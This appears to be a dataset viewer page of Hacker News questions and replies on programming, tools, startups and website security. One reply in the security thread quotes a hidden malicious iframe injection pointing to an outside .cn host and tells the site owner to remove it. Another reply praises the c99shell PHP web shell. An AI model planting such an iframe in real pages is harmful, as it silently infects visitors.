instruction stringlengths 4 105 | output stringlengths 8 56.7k |
|---|---|
Outdoor jobs for geeks? | KirinDave: Photography is a good geeky job that involves a lot of outside work. Photography is actually a very technical art these days, which also is strongly related to the artistic expression of the photographer.I have recently taken up photography as a technical but low-stress pastime. It appeals to my programmer-b... |
article about travelling for programmers | pasbesoin: Closest I found to what you describe (slow morning; needed some sort of challenge) is:http://philip.greenspun.com/materialism/early-retirement/mentioned here:http://news.ycombinator.com/item?id=533330Doesn't quite fit your description, but maybe or maybe of interest (the article or the HN thread)? |
Proper way to report an error in a paper | jmonegro: Both of them. They could be done in the following combination: post a small paper on your website about the flaw, with all the details - but make sure it is purely objective. Then e-mail the author, and send him the link to your article.Provided that he's (or she) a nice guy/gal, it shouldn't be much of a pro... |
Which persistent in-memory database to use? | dzenanr: A paper entitled "Memory-Centric Data Management" by Curt A. Monash is worth reading:http://www.monash.com/MCDM.pdf |
Which persistent in-memory database to use? | evgen: The only thing that really matters here is the write load and the distribution of your reads. The read load can easily be handled by a memecache-like cacheing layer unless it is completely random and you don't have enough RAM. The write load will determine how fast keys get expired out of the cache layer (plus... |
Which persistent in-memory database to use? | evgen: Another avenue to consider is a column-oriented database like Metakit, MonetDB, or FastBit. |
Which persistent in-memory database to use? | jokull: Really consider your case. Stuff like web user sessions is easy to put into a key value storage (memcache or tokyo cabinet for persistance). If you need more look into tokyo cabinet table type. The master-to-master replication looks like a win. |
Which persistent in-memory database to use? | antirez: Redis 0.100 was released 2 hours ago. You may want to take a look (http://code.google.com/p/redis). If the new features we implemented are still not enough, we could love to know what are the things you don't like, this is very valuable for us! Thanks |
What is the best way to protect your website from hackers? | Mistone: my day job is at McAfee, we sell the leading web security testing service (mcafeesecure.com). Its runs a daily scan on your full website infrastructure, finding the vulnerabilities hackers are exploiting to access your site and showing you how to fix them. It's a solid service, used my 75% of the webs top 50... |
Outdoor jobs for geeks? | jasonkester: Computer Programmer.Look, there aren't that many careers that will pay you $100+/hr on a short-term contract. Take one of those for six months, then go hike the Pacific Crest Trail. Then ride your bike to Florida.That's a full year plan, half of which is spent outdoors, at the end of which you'll still b... |
What is the best way to protect your website from hackers? | khafra: As asked, the question has no single answer. Security is a continual process, and a tradeoff with speed, usability, friendliness, bandwidth, etc.The 100% secure website is one without an internet connection. The 99% secure website is one on a continually patched server, offering only static content, and accep... |
mass-manufacture plastic | HeyLaughingBoy: Do you have drawings of the product? At such a small quantity, probably only vacuum forming or machining will be cost effective. eMachineShop might be worth looking into, or canvass the Web for a hobby machinist with a CNC mill that will do them for cheap. |
Which persistent in-memory database to use? | gojomo: Check out BerkeleyDB, either in its original incarnation or 'Java Edition'. On one machine, it would seem to fit your bill: uses RAM cache as much as possible, persists to disk as necessary, various tweakable options to try to either minimize IO/seeks or maximize consistency/safety. |
Rails Searching Ferret or Sphinx? | pcrawfor: I can say that I've used both on a couple of projects and thus far sphinx with the thinking sphinx plugin has been the best option for me. |
What is the best way to protect your website from hackers? | ErrantX: this suggests the security flaw is with your site code not the hosting provider :)What tech/code does your site run on? |
What is the best way to protect your website from hackers? | mg1313: You might be having problems with your software, not the hosting.
If you use a blog read about these security measures: http://www.mytestbox.com/news/secure-wordpress-blog-prevent-... |
best languages to learn as a newcomer | mahmud: PLT Scheme is clean, free, well documented, widely supported and beautiful. It has a decent numeric tower, and a good GUI toolkit for writing simple interfaces.I taught most of it to my 15 year old nephew over two weeks, this last winter holiday.There is zero configuration; you double click on the downloaded pa... |
best languages to learn as a newcomer | baguasquirrel: Try a small diverse set of languages? Here's an interesting anecdote for you. I have two friends from CMU, both who have a CS degree. The first person was an ace at C. Could handle everything with ease, but faltered a bit when it came to ML/Haskell. The second person managed to screw up the "easy" C... |
What would happen if public libraries only had ebooks? | mahmud: Libraries already have exclusive digital content, and they usually require you to sit at an on-premise workstation to work. |
What is the best way to protect your website from hackers? | Mistone: i clicked through to the site from ujjwalg's profile and my browser crashed immediately. Now I'm getting an endless stream of warning messages from my anti-virus regarding programs trying to access my computer, including a trojan. wow, pretty hectic.the domain is watermelonexpress.com avoid it like the plague |
What would happen if public libraries only had ebooks? | ScottWhigham: The problem I have - and this sounds silly as I say it but it's how I think - is why would I go to the library to get an ebook? That brings to mind the question, "Is it possible to drastically reduced physical library presences in favor of a National Library online that features ebooks only?" Interesting ... |
What would happen if public libraries only had ebooks? | Adlai: Some libraries have systems where you can put a book (or any other media that the library has, which they allow to be checked out) on reserve, and you get notified once it's available. However, that doesn't fix the fact that the concept of "returning" an ebook is not very well-defined, because of the ease of cop... |
C vs C++ | 0ffh: IMHO, yes! |
C vs C++ | eugenejen: It really depends on what do you want to do. If you are going to write stuffs on Windows OS for financial companies, you need to learn C++ to read existing codes.If you want to build new system with Linux/BSDs. Then learning C is enough for you to do all useful things. Then you learn Java just as your friend... |
C vs C++ | vorador: Well, Java has his problems too.
I'd suggest learning C and then switching to a real object language (for instance io - http://www.iolanguage.com/ )Do you want to learn those languages for your career or just for yourself ? |
Is my corporation protected? | brk: include ianal.hPersonal credit and cash issues should have no bearing on an LLC, S corp or C corp. His personal debt and poor credit would probably work against him if he plans on having the corporation take out some kind of loan or line of credit that he would have personally guaranteed (if he had decent credit... |
What would happen if public libraries only had ebooks? | synnik: There is yet another problem -- not everyone has internet access. Libraries provide books to many low income people, including the homeless. This would take books away from some of the people who need them the most for their own education.
There are also people who simply enjoy reading from books, and for whom ... |
What would happen if public libraries only had ebooks? | ErrantX: The other issue is that some people (like ME :D) love real books.The Library is like a dark, exciting, unexplored jungle of literature that I want to discover. That's not an inconvenience - that is a delight! It is what libraries do best.E-books are great too obviously - but I can get them online. E-books are ... |
C vs C++ | DanielBMarkham: This is the third or fourth post with the same question in the last month or so.At the risk of being grumpy, I'd make a longer reply, but I already blogged on this just this morning.http://www.whattofix.com/blog/archives/2009/05/tired-of-erla...So go with C++. It doesn't have as many letters as Java. |
Which persistent in-memory database to use? | teej: > Though I haven't tested...Let's stop there. "I haven't tested" translates to "premature optimization". Stop whatever you're doing and measure your task.> I have explored ... but none is close to what I have in mind.It's not surprised that you can't find a perfect solution to your imaginary problem. Find out ... |
C vs C++ | cperciva: Is this true? Should I forget C++ and move on to another language after C?Why do you need to move on to anything else? As your friend said... "C is more than enough". |
C vs C++ | menloparkbum: It depends on what you want to do. If you want to work on the linux kernel, you need to know C. If you want to work on Ableton Live, you need to know C++. If you want to work at Wells Fargo you need to know Java. |
C vs C++ | stonemetal: As far as your buddy goes it sounds like he isn't vary familiar with C++ or familiar with it in a environment in which it was poorly used. If anything C++ is much simpler to use than C on anything that is nontrivial.Anyway whichever way you go know that idiomatic C and C++ are very different(see http://www... |
What is the best way to protect your website from hackers? | kierank: Remove the following iframe from your homepage: <iframe src="http://bestwebfind.cn:8080/ts/in.cgi?pepsi11" width=2 height=4 style="visibility: hidden"></iframe> |
C vs C++ | intregus: There are things you can do with C++ that you simply cannot with java. I would recommend learning enough java to pick up OOP concepts, and maybe even some design patterns. Getting to that point should take no more than 6 months (if you work with it daily). |
C vs C++ | noodle: your buddy sounds misinformed.however, your best course of action depends on what you're trying to accomplish. he may have produced a good suggestion despite the reasoning being flawed or based on bad information. |
C vs C++ | skwiddor: C and C++ are two languages that share a base syntax. They are used in different problem domains. To randomly pick one for you to learn now is not a question we can answer. Your friend's reasoning isn't sound. |
C vs C++ | limmeau: In order to program productively in C++ without too many segfaults, you need a deep understanding of what's going on, why the wrong one of your three two-argument copy-constructors is being called, when the invisible initialization of superclass vtables takes place, which spurious error symptoms indicate delet... |
C vs C++ | ii: Don't forget C++. Even if you stick to other languages you would probably still want to be able to read C++. There a tons of great stuff written in C++ out there already. |
The most fun and beautiful code you know of? | abyssknight: c99shell. It's a PHP trojan horse of sorts written by Russian hackers. Beautiful, rare, dangerous and awesome. |
C vs C++ | philwelch: C is a small, beautiful, elegant language that's fine tuned to systems programming and high-performance programming, with a surprising ability to be used on higher levels with enough skill. As a programmer and computer scientist, C will teach you a good abstract model of how a program is executed on the low ... |
What big discoveries can be attributed to Elite schools? | noodle: collateralized debt obligations |
What big discoveries can be attributed to Elite schools? | abossy: Which field? |
What big discoveries can be attributed to Elite schools? | russell: If you broaden it a bit to include other elite schools like MIT, Stanford, Berkeley, Caltech, etc. the impact is enormous. Their innovations won WWII. Their students and alumni founded HP, Microsoft, Google, Yahoo, MySpace, Intel, and on and on. These schools tend to have alumni networks all over the place.... |
best languages to learn as a newcomer | menloparkbum: Python's one of the easiest ways to get started in programming in general, and is widely used in science these days. It's the new Fortran in scienceland... |
Rails Searching Ferret or Sphinx? | jpcx01: sphinx |
If you have access to an IDE, why would anyone use a text editor? | SwellJoe: I mean if you have access to an IDE, why would anyone use a text editor?But, why would I use an IDE if I have access to a proper text editor like vim or emacs (I use vim, but I've used emacs enough to know I could be productive in it if vim didn't exist)? Your question makes no sense to me.I've known a (very... |
If you have access to an IDE, why would anyone use a text editor? | TallGuyShort: I use a text editor (like vim) because it's so much faster than an IDE (like eclipse). If you use keyboard shortcuts and work quickly, you'll quickly find that the IDE slows you down considerably.Also, I find that IDEs hide a lot of the inner workings from you. That can be convenient, but when you run int... |
If you have access to an IDE, why would anyone use a text editor? | noodle: load time on a text editor is much faster.if you know exactly what you want to do, but still are doing things in code, popping open a file in a good text editor is superior.if you're looking to open up an IDE and sit down for a few hours' work, then that is probably the better choice. |
If you have access to an IDE, why would anyone use a text editor? | pookleblinky: I can't speak for all emacs users, but I wouldn't be caught dead using an "IDE"IDE ostensibly stands for "integrated development environment." AFAIK, not a single IDE is as integrated, programmable, hackable, flexible, or stable as emacs (or vim).In Emacs, I can effortlessly open and navigate through an i... |
C vs C++ | CyberFonic: It depends on what your goal is.If you want a well paid job in business area, then C# and/or Java.If you want to broaden your CS knowledge, then Lisp, Smalltalk, Eiffel.If you want to work on shrink-wrap software then C++.It's worth pointing out that Bjarne Stroustrup, creator of C++, is critical of it. |
If you have access to an IDE, why would anyone use a text editor? | brianto2010: IDEs baby new programmers in such a way that they will become crutches. Text editors (in theory) only modify the source code. All compilation and backend work is done by the programmer with external tools. IDEs will usually hide that work away in some button or drop down menu, so the new programmer will be... |
If you have access to an IDE, why would anyone use a text editor? | mahmud: When I'm on laptop battery I switch to "LispIDE", which despite the name is an ultra-lightweight Lisp text editor for Windows. It has the absolute bare minimum; runs a lisp process, highlights syntax, indents code, and is able to evaluate code in the editor buffer.I get so much done in the 2-3 hours I'm at the ... |
If you have access to an IDE, why would anyone use a text editor? | ratsbane: My usual development environment for is a Macbook Pro with six terminal windows open. The first one (Command-1 shortcut key) is a connection to the database, the second (command-2) is Vim with program code, the third (command-3) is library code or test scripts or whatever and the next three (smaller, with bl... |
best languages to learn as a newcomer | hs: i did a lot of matrix analysis during my grad study, from statistics (general linear model, projection, pseudo inverse, design of experiment, etc) to dynamic system (control, state space, etc) using matlab -- i even used it to generate random distribution from uniform for simulationsthe closest thing to matlab is p... |
business guy tries to build a website - qrisper.com | SwellJoe: But rather than outsource, took it upon myself to learn how to codeYou're not a "business guy" any more. You're a hacker. |
If you have access to an IDE, why would anyone use a text editor? | brianobush: vi and emacs (I prefer emacs) are consistent and have been around for years. IDEs come and go with passing of languages, trends, etc. With vi/emacs you have consistency and a bug-free editor.As a side note: I once saw UltraEdit eat a text file my co-worker was editing; once saved as UTF-8 it blew the file a... |
If you have access to an IDE, why would anyone use a text editor? | wsprague: Because Unix IS an IDE already, with text editors like emacs or vim fitting in nicely with scripting, make, etc, etc. |
What big discoveries can be attributed to Elite schools? | spoondan: Elite schools have renowned faculty, great facilities, lots of money, and a focus on research. Consequently, the curricula are better; the research opportunities more numerous and varied; the expectations greater. These institutions have the capacity to engage and challenge their best students. And they have ... |
If you have access to an IDE, why would anyone use a text editor? | hrabago: IDEs are big, slow, rigid. Text editors are lightweight and fast. You'd have to weigh what you get from the IDE vs. what you're giving up.As for your other question, yes, there are ruby and python plugins for IntelliJ. The python one seems new and immature. The ruby one should be better. They (Jetbrains) a... |
business guy tries to build a website - qrisper.com | vaksel: Well for one your background color choice is just horrible |
business guy tries to build a website - qrisper.com | chanux: clickable link - http://qrisper.comAnd I suggest you adding OpenID, Facebook connect, Google friend connect etc. There's a similar service from twitter I guess. |
business guy tries to build a website - qrisper.com | coconutrandom: Some the the answers have vague or generic names which does not lead to good Google search-ability by itself. Perhaps add the keywords from the question. Also, if the answer is a url, you may want that to be the link itself.But great job, keep it up! |
Rails Searching Ferret or Sphinx? | oomkiller: tsearch2? |
business guy tries to build a website - qrisper.com | adamBA: just curious to know if you have a plan to make $$ other than through ads |
If you have access to an IDE, why would anyone use a text editor? | projectileboy: In general, I tend to prefer using a text editor over most IDEs, which are usually big and fat and slow, with poor usability. IntelliJ - for me - has always been an exception. I can't comment on the Ruby or Python plugins for IntelliJ; however, the Clojure and (my) Arc plugin work just fine. I find worki... |
How do you prefer to run background jobs for a website/service? | thwarted: cron. Should exist on every UNIX system, the most common syntax is standardized (you can even call it a DSL if you want), there are multiple implementations, it supports complex command lines, its jobs can be written in any language, it is well documented, and its limitations and security are well understood... |
If you have access to an IDE, why would anyone use a text editor? | jdoliner: I use a text editor for all of my hacking needs (vim but emacs is good times too). That being said I'm amazed the HN community has so much trouble understanding the usability. Do you feel similarly when you load up into the latest Rate My Startup:
"Wow this interface is really just holding me back, I'm comple... |
IRC channel for Hacker News? | sidmitra: Try #startups on Freenode. I suppose a number of HN users hang out there. |
business guy tries to build a website - qrisper.com | thebeatbox: As a fellow "business guy" who is an aspiring hacker, I have to ask: how'd you get started? |
business guy tries to build a website - qrisper.com | pj: Well, first impression: They Live is an alien invasion movie, not a zombie movie, so I gotta question the accuracy of the data! |
IRC channel for Hacker News? | vaksel: pg should add the IRC channel connect link to the bottom so more people would know about it(+ make it easier to connect). Right now even if you know that there is an irc channel you probably don't remember where its atI think think this should be correct: irc://chat.freenode.net/startups |
Visually highlight the new comments since my last visit ? | stcredzero: Sounds like a job for a Greasemonkey script |
IRC channel for Hacker News? | DTrejo: #startups is a great place to go for pre-HN feedback and the company of other HN community members. |
business guy tries to build a website - qrisper.com | dwynings: How long did it take you to do? |
IRC channel for Hacker News? | crsmith: http://mibbit.com/chat/?server=irc.freenode.net |
What determines whether the down-mod is enabled? | rms: You can't downmod root comments on a story you submit or replies to your comments. You can't downmod comments older than 24 hours. You need a certain amount of karma before you can ever downmod comments, and no one can ever downmod stories. |
IRC channel for Hacker News? | arasakik: http://www.chatterous.com/hnyc/ is the chatterous room for Hacker News and has hundreds of members. It also lets you hook up your GTalk, Email or Phone with the room. I prefer the GTalk integration.PS - this question seems to come up fairly often. |
What determines whether the down-mod is enabled? | pg: (def canvote (user i dir)
(and user
(news-type i)
(live i)
(or (is dir 'up) (> i!score lowest-score*))
(no ((votes user) i!id))
(or (is dir 'up)
(and (acomment i)
(> (karma user) downvote-threshold*)
... |
Who's going to Google I/O? | shiny: I'll be there. Email me if you wanna meet up. |
Proper way to report an error in a paper | __tmpid: Thanks guys, I'll go for b) + a). |
Anybody have experience with building hobby robots? | kevTheDev: these guys meet up regularly in my town (Brighton, UK). Might be worth talking to some of them via the forums: http://robotbrighton.ning.com/fluffyemily on twitter runs the group so she might be of some help too. |
If you have access to an IDE, why would anyone use a text editor? | mannicken: And here we have another battle:Console or GUI?The only really good developer I know who prefers Visual Studio to Emacs is the one who prefers TortoiseSVN to svn.exe and just dislikes command line.However, there are two extremely good reasons to use command line (and emacs/vim):1. You're typing text when cod... |
Can Google be replaced? | known: Possible, if we know a system better than PageRank aka http://en.wikipedia.org/wiki/Direct_democracy |
If you have access to an IDE, why would anyone use a text editor? | skwiddor: I use Acme and Plan 9 from Bell Labs, a text editing tool, I edit text. I don't need something to do the programming for me. Acme's ability to run commands by clicking on text is more productive than you're giving it credit for right now. Want another menu item? Just type it into the menu bar! Use a bunch of... |
IRC channel for Hacker News? | adrianwaj: http://hackernews.speeqe.com/It's dead - but the room is there for anyone. |
If you have access to an IDE, why would anyone use a text editor? | DanielBMarkham: [Cue the "all real programmers use vim/emacs/etc" comments.]I've used both. I like both. If you're new, I'd start with an IDE and lots of online, context-sensitive help.And an easy language.Once you get your feet wet writing a few apps, keep challenging yourself by moving to more complex languages and l... |
If you have access to an IDE, why would anyone use a text editor? | cjg: I think the line between an IDE and a text editor is not that clear and instead there is a spectrum of editing. At one end you might find Leafpad (aimed at simple text editing) at the other end something like IntelliJ. IntelliJ provides more code tools than Leafpad, but is more heavyweight.So the question comes do... |
Statistics of mobile web use anyone? | wallflower: Start with the 2009 Mobile Web usage report from http://metrics.admob.com |
business guy tries to build a website - qrisper.com | adrianb: I noticed that the site has very good graphics. Did you do that yourself? Did you work with an expert? |
How does twitter allow multi-byte messages | noodle: UTF-8 |
Is Twitter non-existent among my age group? | chaosmachine: Twitter is caught in a massive media hype feedback loop. Everybody is writing about Twitter because everybody is writing about Twitter. However, there's an entire demographic that doesn't read any of this press, and doesn't care about Oprah or Ashton Kutcher. |
Is Twitter non-existent among my age group? | noodle: i know people who use twitter across all age groups. not really that many, though, and none in my real core group of friends.i think that the biggest correlation to twitter use is actually iphone ownership. at least, thats the case with the people i know. and that probably tends to skew towards younger profe... |
Is Twitter non-existent among my age group? | spooneybarger: some social media demographics:http://www.socialmediatoday.com/SMC/78505 |
business guy tries to build a website - qrisper.com | iterationx: your search is a little broken, neighborhood got me 2 results with new york, and then "neighborhood new york" got me 0 results. you're going to want to push tags i think, you've got "favorite bar" and "best bar", you want either favorite or best. Also i think a tag cloud would be good. i think its a clev... |
Visually highlight the new comments since my last visit ? | coopr: Oh heck yeah, this would make HN WAY more useful to me.Currently I work around this by forcing myself to wait a while before visiting the comments page, then visiting it just once, because if I come back it is typically too time consuming to scan through and figure out which comments I've read and which are new. |
I want to pay people, not just accept payment. What are my options? | HeyLaughingBoy: Do you mean you want to pay employees? What do you mean by "pay people?" |
I want to pay people, not just accept payment. What are my options? | andhapp: hmmm if you can transfer money into your merchant account then transferring money into someone else's account should be straight forward but that's not the case. I would suggest pay-pal but transferring money into someone's bank account would actually take 3-5 working days from it so that sucks...but yes you a... |
I'm Tired of Hacking. What Do I Do? Please Advise. | larsberg: Find a place to work where you're not the best developer, engineer, etc. It's more fun when you're learning. |
I'm Tired of Hacking. What Do I Do? Please Advise. | Adrenalist: Sounds like a case of burnout to me. I think a lot of people would envy your position, especially given today's economic climate. Without knowing anything of your situation, except that you don't want to work on computers any longer, I'd suggest taking a step back and really analyze your situation. Have a s... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.